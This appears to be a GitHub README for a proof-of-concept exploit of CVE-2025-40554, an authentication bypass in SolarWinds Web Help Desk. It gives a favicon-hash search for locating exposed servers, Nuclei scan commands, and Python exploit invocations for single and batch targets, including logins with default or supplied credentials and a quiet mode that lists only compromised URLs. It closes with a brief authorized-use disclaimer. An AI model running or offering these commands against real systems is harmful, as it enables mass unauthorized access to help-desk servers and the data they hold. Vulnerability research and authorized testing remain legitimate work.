imbas007/auth-bypass-cve-2025-40554Proof-of-concept exploit for CVE-2025-40554, an authentication bypass in SolarWinds Web Help Desk. Includes Nuclei template and Python exploit for single or batch target testing with optional credential login.
http.favicon.hash:"1895809524"
nuclei -u https://TARGET:8443 -t CVE-2025-40554.yaml
nuclei -l list_target.txt -t CVE-2025-40554.yaml
pip install -r requirements.txt
Single target (bypass + login, default client/client):
python3 exploit_auth_bypass.py -t https://TARGET:8443
Single target with custom credentials:
python3 exploit_auth_bypass.py -t https://TARGET:8443 -u myuser -p mypass
Single target, bypass only (no login):
python3 exploit_auth_bypass.py -t https://TARGET:8443 --no-login
Target list (saves vulnerable+login only):
python3 exploit_auth_bypass.py -l result_all.txt
python3 exploit_auth_bypass.py -l targets.txt -o my_login_ok.txt
Target list with custom credentials:
python3 exploit_auth_bypass.py -l targets.txt -u admin -p secret
Quiet mode (print only URLs where login succeeded):
python3 exploit_auth_bypass.py -l result_all.txt -q
This PoC is for authorized security research and testing only. Unauthorized access to computer systems is illegal. The authors are not responsible for misuse.